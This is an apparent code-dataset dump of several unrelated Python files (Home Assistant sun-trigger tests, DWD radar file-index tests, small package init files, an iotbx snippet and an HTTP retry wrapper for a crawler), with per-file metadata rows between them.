async_fire_time_changed(hass, trigger_time)
await hass.async_block_till_done()
assert 1 == len(calls)
async def test_sunrise_trigger(hass, calls):
"""Test the sunrise trigger."""
now = datetime(2015, 9, 13, 23, tzinfo=dt_util.UTC)
trigger_time = datetime(2015, 9, 16, 14, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
await async_setup_component(hass, automation.DOMAIN, {
automation.DOMAIN: {
'trigger': {
'platform': 'sun',
'event': 'sunrise',
},
'action': {
'service': 'test.automation',
}
}
})
async_fire_time_changed(hass, trigger_time)
await hass.async_block_till_done()
assert 1 == len(calls)
async def test_sunset_trigger_with_offset(hass, calls):
"""Test the sunset trigger with offset."""
now = datetime(2015, 9, 15, 23, tzinfo=dt_util.UTC)
trigger_time = datetime(2015, 9, 16, 2, 30, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
await async_setup_component(hass, automation.DOMAIN, {
automation.DOMAIN: {
'trigger': {
'platform': 'sun',
'event': 'sunset',
'offset': '0:30:00'
},
'action': {
'service': 'test.automation',
'data_template': {
'some':
'{{ trigger.%s }}' % '}} - {{ trigger.'.join((
'platform', 'event', 'offset'))
},
}
}
})
async_fire_time_changed(hass, trigger_time)
await hass.async_block_till_done()
assert 1 == len(calls)
assert 'sun - sunset - 0:30:00' == calls[0].data['some']
async def test_sunrise_trigger_with_offset(hass, calls):
"""Test the sunrise trigger with offset."""
now = datetime(2015, 9, 13, 23, tzinfo=dt_util.UTC)
trigger_time = datetime(2015, 9, 16, 13, 30, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
await async_setup_component(hass, automation.DOMAIN, {
automation.DOMAIN: {
'trigger': {
'platform': 'sun',
'event': 'sunrise',
'offset': '-0:30:00'
},
'action': {
'service': 'test.automation',
}
}
})
async_fire_time_changed(hass, trigger_time)
await hass.async_block_till_done()
assert 1 == len(calls)
async def test_if_action_before(hass, calls):
"""Test if action was before."""
await async_setup_component(hass, automation.DOMAIN, {
automation.DOMAIN: {
'trigger': {
'platform': 'event',
'event_type': 'test_event',
},
'condition': {
'condition': 'sun',
'before': 'sunrise',
},
'action': {
'service': 'test.automation'
}
}
})
now = datetime(2015, 9, 16, 15, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
hass.bus.async_fire('test_event')
await hass.async_block_till_done()
assert 0 == len(calls)
now = datetime(2015, 9, 16, 10, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
hass.bus.async_fire('test_event')
await hass.async_block_till_done()
assert 1 == len(calls)
async def test_if_action_after(hass, calls):
"""Test if action was after."""
await async_setup_component(hass, automation.DOMAIN, {
automation.DOMAIN: {
'trigger': {
'platform': 'event',
'event_type': 'test_event',
},
'condition': {
'condition': 'sun',
'after': 'sunrise',
},
'action': {
'service': 'test.automation'
}
}
})
now = datetime(2015, 9, 16, 13, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
hass.bus.async_fire('test_event')
await hass.async_block_till_done()
assert 0 == len(calls)
now = datetime(2015, 9, 16, 15, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
hass.bus.async_fire('test_event')
await hass.async_block_till_done()
assert 1 == len(calls)
async def test_if_action_before_with_offset(hass, calls):
"""Test if action was before offset."""
await async_setup_component(hass, automation.DOMAIN, {
automation.DOMAIN: {
'trigger': {
'platform': 'event',
'event_type': 'test_event',
},
'condition': {
'condition': 'sun',
'before': 'sunrise',
'before_offset': '+1:00:00'
},
'action': {
'service': 'test.automation'
}
}
})
now = datetime(2015, 9, 16, 14, 32, 44, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
hass.bus.async_fire('test_event')
await hass.async_block_till_done()
assert 0 == len(calls)
now = datetime(2015, 9, 16, 14, 32, 43, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
hass.bus.async_fire('test_event')
await hass.async_block_till_done()
assert 1 == len(calls)
async def test_if_action_after_with_offset(hass, calls):
"""Test if action was after offset."""
await async_setup_component(hass, automation.DOMAIN, {
automation.DOMAIN: {
'trigger': {
'platform': 'event',
'event_type': 'test_event',
},
'condition': {
'condition': 'sun',
'after': 'sunrise',
'after_offset': '+1:00:00'
},
'action': {
'service': 'test.automation'
}
}
})
now = datetime(2015, 9, 16, 14, 32, 42, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
hass.bus.async_fire('test_event')
await hass.async_block_till_done()
assert 0 == len(calls)
now = datetime(2015, 9, 16, 14, 32, 43, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
hass.bus.async_fire('test_event')
await hass.async_block_till_done()
assert 1 == len(calls)
async def test_if_action_before_and_after_during(hass, calls):
"""Test if action was before and after during."""
await async_setup_component(hass, automation.DOMAIN, {
automation.DOMAIN: {
'trigger': {
'platform': 'event',
'event_type': 'test_event',
},
'condition': {
'condition': 'sun',
'after': 'sunrise',
'before': 'sunset'
},
'action': {
'service': 'test.automation'
}
}
})
now = datetime(2015, 9, 16, 13, 8, 51, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
hass.bus.async_fire('test_event')
await hass.async_block_till_done()
assert 0 == len(calls)
now = datetime(2015, 9, 17, 2, 25, 18, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
hass.bus.async_fire('test_event')
await hass.async_block_till_done()
assert 0 == len(calls)
now = datetime(2015, 9, 16, 16, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
hass.bus.async_fire('test_event')
await hass.async_block_till_done()
assert 1 == len(calls)
| 31.740625 | 74 | 0.548587 | 1,113 | 10,157 | 4.806828 | 0.09434 | 0.02243 | 0.046168 | 0.053271 | 0.84785 | 0.828972 | 0.815514 | 0.778131 | 0.756262 | 0.756262 | 0 | 0.03478 | 0.326277 | 10,157 | 319 | 75 | 31.840125 | 0.747041 | 0.008566 | 0 | 0.680769 | 0 | 0 | 0.153102 | 0.046095 | 0 | 0 | 0 | 0 | 0.065385 | 1 | 0.007692 | false | 0 | 0.034615 | 0 | 0.046154 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0d002e714902aec4984ee36c0957284c763166ba | 33 | py | Python | pystibmivb/domain/util/__init__.py | danito/pystibmivb-1 | e14f9b7b0c6c5578003d354b81542da586c27d29 | [
"CC-BY-4.0"
] | 4 | 2020-02-28T00:28:54.000Z | 2021-03-03T17:13:53.000Z | pystibmivb/domain/util/__init__.py | danito/pystibmivb-1 | e14f9b7b0c6c5578003d354b81542da586c27d29 | [
"CC-BY-4.0"
] | 11 | 2020-05-28T11:45:04.000Z | 2020-06-17T06:14:20.000Z | pystibmivb/domain/util/__init__.py | danito/pystibmivb-1 | e14f9b7b0c6c5578003d354b81542da586c27d29 | [
"CC-BY-4.0"
] | 3 | 2020-03-26T16:56:28.000Z | 2021-03-03T15:01:35.000Z | from .util import get_time_delta
| 16.5 | 32 | 0.848485 | 6 | 33 | 4.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121212 | 33 | 1 | 33 | 33 | 0.896552 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0d03801b92427ee55fd9f2e6922668a1efc6bb0f | 229 | py | Python | IOTBX/symmetryFromPDB.py | MooersLab/jupyterlabcctbxsnipsplus | 80a380046adcc9b16581ed1681884017514edbb7 | [
"MIT"
] | null | null | null | IOTBX/symmetryFromPDB.py | MooersLab/jupyterlabcctbxsnipsplus | 80a380046adcc9b16581ed1681884017514edbb7 | [
"MIT"
] | null | null | null | IOTBX/symmetryFromPDB.py | MooersLab/jupyterlabcctbxsnipsplus | 80a380046adcc9b16581ed1681884017514edbb7 | [
"MIT"
] | null | null | null | # Description: Print the symmetry from a PDB file.
# Source: NA
"""
import iotbx
iotbx.pdb.crystal_symmetry_from_pdb.extract_from("${1:3nd4}.pdb")
"""
import iotbx
iotbx.pdb.crystal_symmetry_from_pdb.extract_from("3nd4.pdb")
| 20.818182 | 65 | 0.759825 | 35 | 229 | 4.742857 | 0.457143 | 0.216867 | 0.192771 | 0.228916 | 0.626506 | 0.626506 | 0.626506 | 0.626506 | 0.626506 | 0.626506 | 0 | 0.02439 | 0.104803 | 229 | 10 | 66 | 22.9 | 0.785366 | 0.615721 | 0 | 0 | 0 | 0 | 0.101266 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
0d16cadc28205bc8fc07cfd86e404159093ee368 | 7,097 | py | Python | tests/provider/dwd/radar/test_index.py | bh-chaker/wetterdienst | b0d51bb4c7392eb47834e4978e26882d74b22e35 | [
"MIT"
] | 155 | 2020-07-03T05:09:22.000Z | 2022-03-28T06:57:39.000Z | tests/provider/dwd/radar/test_index.py | bh-chaker/wetterdienst | b0d51bb4c7392eb47834e4978e26882d74b22e35 | [
"MIT"
] | 453 | 2020-07-02T21:21:52.000Z | 2022-03-31T21:35:36.000Z | tests/provider/dwd/radar/test_index.py | bh-chaker/wetterdienst | b0d51bb4c7392eb47834e4978e26882d74b22e35 | [
"MIT"
] | 21 | 2020-09-07T12:13:27.000Z | 2022-03-26T16:26:09.000Z | # -*- coding: utf-8 -*-
# Copyright (c) 2018-2021, earthobservations developers.
# Distributed under the MIT License. See LICENSE for more info.
from pathlib import PurePath
import pytest
from wetterdienst import Period, Resolution
from wetterdienst.provider.dwd.metadata.column_names import DwdColumns
from wetterdienst.provider.dwd.radar.index import create_fileindex_radar
from wetterdienst.provider.dwd.radar.metadata import (
DwdRadarDataFormat,
DwdRadarDataSubset,
DwdRadarParameter,
)
from wetterdienst.provider.dwd.radar.sites import DwdRadarSite
def test_radar_fileindex_composite_pg_reflectivity_bin():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.PG_REFLECTIVITY,
fmt=DwdRadarDataFormat.BINARY,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
PurePath(url).match("*/weather/radar/composit/pg/*---bin") for url in urls
)
def test_radar_fileindex_composite_pg_reflectivity_bufr():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.PG_REFLECTIVITY,
fmt=DwdRadarDataFormat.BUFR,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
PurePath(url).match("*/weather/radar/composit/pg/*---bufr") for url in urls
)
@pytest.mark.xfail(reason="Out of service", strict=True)
def test_radar_fileindex_composite_rx_reflectivity_bin():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.RX_REFLECTIVITY,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
PurePath(url).match("*/weather/radar/composit/rx/*---bin") for url in urls
)
@pytest.mark.parametrize(
"parameter",
[
DwdRadarParameter.RW_REFLECTIVITY,
DwdRadarParameter.RY_REFLECTIVITY,
DwdRadarParameter.SF_REFLECTIVITY,
],
)
def test_radar_fileindex_radolan_reflectivity_bin(parameter):
file_index = create_fileindex_radar(
parameter=parameter,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
PurePath(url).match(f"*/weather/radar/radolan/{parameter.value}/*---bin")
for url in urls
)
def test_radar_fileindex_sites_px_reflectivity_bin():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.PX_REFLECTIVITY,
site=DwdRadarSite.BOO,
fmt=DwdRadarDataFormat.BINARY,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
PurePath(url).match("*/weather/radar/sites/px/boo/*---bin") for url in urls
)
def test_radar_fileindex_sites_px_reflectivity_bufr():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.PX_REFLECTIVITY,
site=DwdRadarSite.BOO,
fmt=DwdRadarDataFormat.BUFR,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
PurePath(url).match("*/weather/radar/sites/px/boo/*---buf") for url in urls
)
def test_radar_fileindex_sites_px250_reflectivity_bufr():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.PX250_REFLECTIVITY,
site=DwdRadarSite.BOO,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all("/weather/radar/sites/px250/boo" in url for url in urls)
def test_radar_fileindex_sites_sweep_bufr():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.SWEEP_VOL_VELOCITY_H,
site=DwdRadarSite.BOO,
fmt=DwdRadarDataFormat.BUFR,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
PurePath(url).match("*/weather/radar/sites/sweep_vol_v/boo/*--buf.bz2")
for url in urls
)
def test_radar_fileindex_sites_sweep_vol_v_hdf5_simple():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.SWEEP_VOL_VELOCITY_H,
site=DwdRadarSite.BOO,
fmt=DwdRadarDataFormat.HDF5,
subset=DwdRadarDataSubset.SIMPLE,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
"/weather/radar/sites/sweep_vol_v/boo/hdf5/filter_simple" in url for url in urls
)
def test_radar_fileindex_sites_sweep_vol_v_hdf5_polarimetric():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.SWEEP_VOL_VELOCITY_H,
site=DwdRadarSite.BOO,
fmt=DwdRadarDataFormat.HDF5,
subset=DwdRadarDataSubset.POLARIMETRIC,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
"/weather/radar/sites/sweep_vol_v/boo/hdf5/filter_polarimetric" in url
for url in urls
)
def test_radar_fileindex_radolan_cdc_daily_recent():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.RADOLAN_CDC,
resolution=Resolution.DAILY,
period=Period.RECENT,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
PurePath(url).match(
"*/climate_environment/CDC/grids_germany/daily/radolan/recent/bin/*---bin.gz"
)
for url in urls
if not url.endswith(".pdf")
)
def test_radar_fileindex_radolan_cdc_daily_historical():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.RADOLAN_CDC,
resolution=Resolution.DAILY,
period=Period.HISTORICAL,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
PurePath(url).match(
"*/climate_environment/CDC/grids_germany/daily/radolan/historical/bin/*/SF*.tar.gz"
)
for url in urls
if not url.endswith(".pdf")
)
def test_radar_fileindex_radolan_cdc_hourly_recent():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.RADOLAN_CDC,
resolution=Resolution.HOURLY,
period=Period.RECENT,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
PurePath(url).match(
"*/climate_environment/CDC/grids_germany/hourly/radolan/recent/bin/*---bin.gz"
)
for url in urls
if not url.endswith(".pdf")
)
def test_radar_fileindex_radolan_cdc_hourly_historical():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.RADOLAN_CDC,
resolution=Resolution.HOURLY,
period=Period.HISTORICAL,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
PurePath(url).match(
"*/climate_environment/CDC/grids_germany/hourly/radolan/historical/bin/*/RW*.tar.gz"
)
for url in urls
if not url.endswith(".pdf")
)
def test_radar_fileindex_radolan_cdc_5minutes():
file_index = create_fileindex_radar(
parameter=DwdRadarParameter.RADOLAN_CDC,
resolution=Resolution.MINUTE_5,
)
urls = file_index[DwdColumns.FILENAME.value].tolist()
assert all(
PurePath(url).match(
"*/climate_environment/CDC/grids_germany/5_minutes/radolan/reproc/2017_002/bin/*/YW2017*.tar"
)
for url in urls
if not url.endswith(".tar.gz")
)
| 27.940945 | 105 | 0.69931 | 814 | 7,097 | 5.853808 | 0.143735 | 0.056663 | 0.067156 | 0.066107 | 0.832109 | 0.799161 | 0.781952 | 0.766212 | 0.759496 | 0.706401 | 0 | 0.006876 | 0.200789 | 7,097 | 253 | 106 | 28.051383 | 0.833216 | 0.019445 | 0 | 0.508108 | 0 | 0 | 0.125377 | 0.118763 | 0 | 0 | 0 | 0 | 0.081081 | 1 | 0.081081 | false | 0 | 0.037838 | 0 | 0.118919 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0d369a96a1f368ae415182506fac9495d0fc6fd4 | 73 | py | Python | tests/test_importer.py | Gaasmann/sa-learner | d0236b39ba87576281b521b8c26ceee5baa59247 | [
"MIT"
] | 1 | 2018-07-26T08:23:43.000Z | 2018-07-26T08:23:43.000Z | tests/test_importer.py | Gaasmann/sa-learner | d0236b39ba87576281b521b8c26ceee5baa59247 | [
"MIT"
] | null | null | null | tests/test_importer.py | Gaasmann/sa-learner | d0236b39ba87576281b521b8c26ceee5baa59247 | [
"MIT"
] | null | null | null | import salearner.importer as importer
def test_dummy():
assert True
| 14.6 | 37 | 0.767123 | 10 | 73 | 5.5 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.178082 | 73 | 4 | 38 | 18.25 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b4a1cc55095f1405fcb31fe1a603b790810fdb0b | 43 | py | Python | src/widgets/__init__.py | devs-7/bible-projector-python | a62b95bdc0c655ba04adf3b47197c562e09468b9 | [
"Apache-2.0"
] | null | null | null | src/widgets/__init__.py | devs-7/bible-projector-python | a62b95bdc0c655ba04adf3b47197c562e09468b9 | [
"Apache-2.0"
] | null | null | null | src/widgets/__init__.py | devs-7/bible-projector-python | a62b95bdc0c655ba04adf3b47197c562e09468b9 | [
"Apache-2.0"
] | null | null | null | from .icon_button_widget import IconButton
| 21.5 | 42 | 0.883721 | 6 | 43 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093023 | 43 | 1 | 43 | 43 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b4f323ef7df0c521ef3282d672a67903f549b898 | 265 | py | Python | services/associationService.py | dainiuskreivenas/rbs | 1d371963ccd64976b3f0603dead891f51996cfb1 | [
"MIT"
] | 1 | 2021-10-04T17:44:04.000Z | 2021-10-04T17:44:04.000Z | services/associationService.py | dainiuskreivenas/rbs | 1d371963ccd64976b3f0603dead891f51996cfb1 | [
"MIT"
] | 12 | 2019-07-16T08:31:50.000Z | 2019-11-19T17:58:53.000Z | services/associationService.py | dainiuskreivenas/rbs | 1d371963ccd64976b3f0603dead891f51996cfb1 | [
"MIT"
] | null | null | null | from ..lib import AssocReaderClass
class AssociationService:
def __init__(self, assocFile):
self.__associations = AssocReaderClass()
self.__associations.readAssocFile(assocFile)
def getAssociations(self):
return self.__associations | 29.444444 | 52 | 0.739623 | 23 | 265 | 8.086957 | 0.608696 | 0.258065 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.188679 | 265 | 9 | 53 | 29.444444 | 0.865116 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.142857 | 0.142857 | 0.714286 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
37309fded059f8080ecfc90804c89e336586e067 | 157 | py | Python | synthesizAR/instruments/__init__.py | wtbarnes/synthesizAR | b6dfc3a71f7a63d46458df534709f50694246dac | [
"BSD-3-Clause"
] | 6 | 2016-09-02T13:38:51.000Z | 2021-02-04T08:29:02.000Z | synthesizAR/instruments/__init__.py | wtbarnes/synthesizAR | b6dfc3a71f7a63d46458df534709f50694246dac | [
"BSD-3-Clause"
] | 61 | 2017-02-17T21:01:53.000Z | 2021-08-12T12:56:59.000Z | synthesizAR/instruments/__init__.py | wtbarnes/synthesizAR | b6dfc3a71f7a63d46458df534709f50694246dac | [
"BSD-3-Clause"
] | 2 | 2018-06-11T15:03:36.000Z | 2021-03-15T14:18:36.000Z | """
Various instruments for observing the synthesized active region
"""
from .base import *
from .hinode import *
from .physical import *
from .sdo import *
| 19.625 | 63 | 0.745223 | 20 | 157 | 5.85 | 0.7 | 0.25641 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.165605 | 157 | 7 | 64 | 22.428571 | 0.89313 | 0.401274 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2efbafd6fec586907f407d814ed5c8aac37ce79f | 62 | py | Python | wpkit/gen_scripts/__init__.py | Peiiii/wpkit | 23a07548be766b559b80e3114ecc24e3f2f65ea5 | [
"MIT"
] | null | null | null | wpkit/gen_scripts/__init__.py | Peiiii/wpkit | 23a07548be766b559b80e3114ecc24e3f2f65ea5 | [
"MIT"
] | null | null | null | wpkit/gen_scripts/__init__.py | Peiiii/wpkit | 23a07548be766b559b80e3114ecc24e3f2f65ea5 | [
"MIT"
] | null | null | null | from . import gen_scripts
from .gen_scripts import gen_service | 31 | 36 | 0.854839 | 10 | 62 | 5 | 0.5 | 0.36 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.112903 | 62 | 2 | 36 | 31 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2c11add8b510a32771d5b1fe376fcb9174f8a6b3 | 12,499 | py | Python | smoothcrawler/components/httpio.py | Chisanan232/pytsunami | 099f16e6351b8cfcce4528d53273c381c1dc3bf9 | [
"Apache-2.0"
] | null | null | null | smoothcrawler/components/httpio.py | Chisanan232/pytsunami | 099f16e6351b8cfcce4528d53273c381c1dc3bf9 | [
"Apache-2.0"
] | null | null | null | smoothcrawler/components/httpio.py | Chisanan232/pytsunami | 099f16e6351b8cfcce4528d53273c381c1dc3bf9 | [
"Apache-2.0"
] | null | null | null | from abc import ABCMeta, abstractmethod
from types import MethodType, FunctionType, CoroutineType
from typing import Callable, Coroutine, Optional, Union, Type, Any
from multirunnable.api import retry as _retry, async_retry as _async_retry
import re
RETRY_TIME: int = 1
def set_retry(times: int) -> None:
global RETRY_TIME
RETRY_TIME = times
def get_retry() -> int:
return RETRY_TIME
class BaseRetryComponent(metaclass=ABCMeta):
@abstractmethod
def before_request(self, *args, **kwargs) -> None:
pass
@abstractmethod
def request_done(self, result):
return result
@abstractmethod
def request_final(self) -> None:
pass
@abstractmethod
def request_error(self, error: Exception):
return error
class RetryComponent(BaseRetryComponent):
def before_request(self, *args, **kwargs) -> None:
pass
def request_done(self, result):
return result
def request_final(self) -> None:
pass
def request_error(self, error: Exception):
raise error
class AsyncRetryComponent(BaseRetryComponent):
async def before_request(self, *args, **kwargs) -> None:
pass
async def request_done(self, result):
return result
async def request_final(self) -> None:
pass
async def request_error(self, error: Exception):
raise error
class BaseHTTP(metaclass=ABCMeta):
def __init__(self, retry_components: BaseRetryComponent = None):
pass
@abstractmethod
def request(self, url: str, method: str = "GET", timeout: int = -1, *args, **kwargs):
pass
@abstractmethod
def get(self, url: str, *args, **kwargs):
pass
@abstractmethod
def post(self, url: str, *args, **kwargs):
pass
@abstractmethod
def put(self, url: str, *args, **kwargs):
pass
@abstractmethod
def delete(self, url: str, *args, **kwargs):
pass
@abstractmethod
def head(self, url: str, *args, **kwargs):
pass
@abstractmethod
def option(self, url: str, *args, **kwargs):
pass
@property
@abstractmethod
def before_request(self) -> Callable:
pass
@property
@abstractmethod
def request_done(self) -> Callable:
pass
@property
@abstractmethod
def request_final(self) -> Callable:
pass
@property
@abstractmethod
def request_error(self) -> Callable:
pass
@abstractmethod
def status_code(self):
pass
class HTTP(BaseHTTP):
__Retry_Mechanism_Default_Functions = RetryComponent()
_Before_Request_Callable: Callable = None
_Request_Done_Callable: Callable = None
_Request_Final_Callable: Callable = None
_Error_Request_Callable: Callable = None
def __init__(self, retry_components: BaseRetryComponent = None):
super().__init__(retry_components)
if retry_components is not None:
if not isinstance(retry_components, BaseRetryComponent):
raise TypeError("Parameter *retry_components* should be a sub-class of 'smoothcrawler.http_io.RetryComponent'.")
self.__Retry_Mechanism_Default_Functions = retry_components
def request(self,
url: str,
method: str = "GET",
timeout: int = -1,
retry_components: BaseRetryComponent = None,
*args, **kwargs):
_self = self
@_retry(timeout=RETRY_TIME)
def _request(_self, _method: str = "GET", _timeout: int = -1, *_args, **_kwargs):
_response = self.__request_process(url=url, method=_method, timeout=_timeout, *_args, **_kwargs)
return _response
@_request.initialization
def _before_request(_self, *_args, **_kwargs) -> None:
self.before_request(*_args, **_kwargs)
@_request.done_handling
def _request_done(_self, result):
__result = self.request_done(result)
return __result
@_request.final_handling
def _request_final(_self) -> None:
self.request_final()
@_request.error_handling
def _request_error(_self, error: Exception):
__error_handle = self.request_error(error)
return __error_handle
response = _request(self, method, timeout, *args, **kwargs)
if response is TypeError and str(response) == f"Invalid HTTP method it got: '{method}'.":
raise response
return response
def __request_process(self,
url: str,
method: str = "GET",
timeout: int = -1,
*args, **kwargs) -> Any:
if re.search(f"get", method, re.IGNORECASE):
response = self.get(url, *args, **kwargs)
elif re.search(f"post", method, re.IGNORECASE):
response = self.post(url, *args, **kwargs)
elif re.search(f"put", method, re.IGNORECASE):
response = self.put(url, *args, **kwargs)
elif re.search(f"delete", method, re.IGNORECASE):
response = self.delete(url, *args, **kwargs)
elif re.search(f"head", method, re.IGNORECASE):
response = self.head(url, *args, **kwargs)
elif re.search(f"option", method, re.IGNORECASE):
response = self.option(url, *args, **kwargs)
else:
response = TypeError(f"Invalid HTTP method it got: '{method.upper()}'.")
return response
def get(self, url: str, *args, **kwargs):
return None
def post(self, url: str, *args, **kwargs):
return None
def put(self, url: str, *args, **kwargs):
return None
def delete(self, url: str, *args, **kwargs):
return None
def head(self, url: str, *args, **kwargs):
return None
def option(self, url: str, *args, **kwargs):
return None
@property
def before_request(self) -> Callable:
if self._Before_Request_Callable is None:
return self.__Retry_Mechanism_Default_Functions.before_request
return self._Before_Request_Callable
@before_request.setter
def before_request(self, function: Callable) -> None:
self._Before_Request_Callable = function
@property
def request_done(self) -> Callable:
if self._Request_Done_Callable is None:
return self.__Retry_Mechanism_Default_Functions.request_done
return self._Request_Done_Callable
@request_done.setter
def request_done(self, function: Callable) -> None:
self._Request_Done_Callable = function
@property
def request_final(self) -> Callable:
if self._Request_Final_Callable is None:
return self.__Retry_Mechanism_Default_Functions.request_final
return self._Request_Final_Callable
@request_final.setter
def request_final(self, function: Callable) -> None:
self._Request_Final_Callable = function
@property
def request_error(self) -> Callable:
if self._Error_Request_Callable is None:
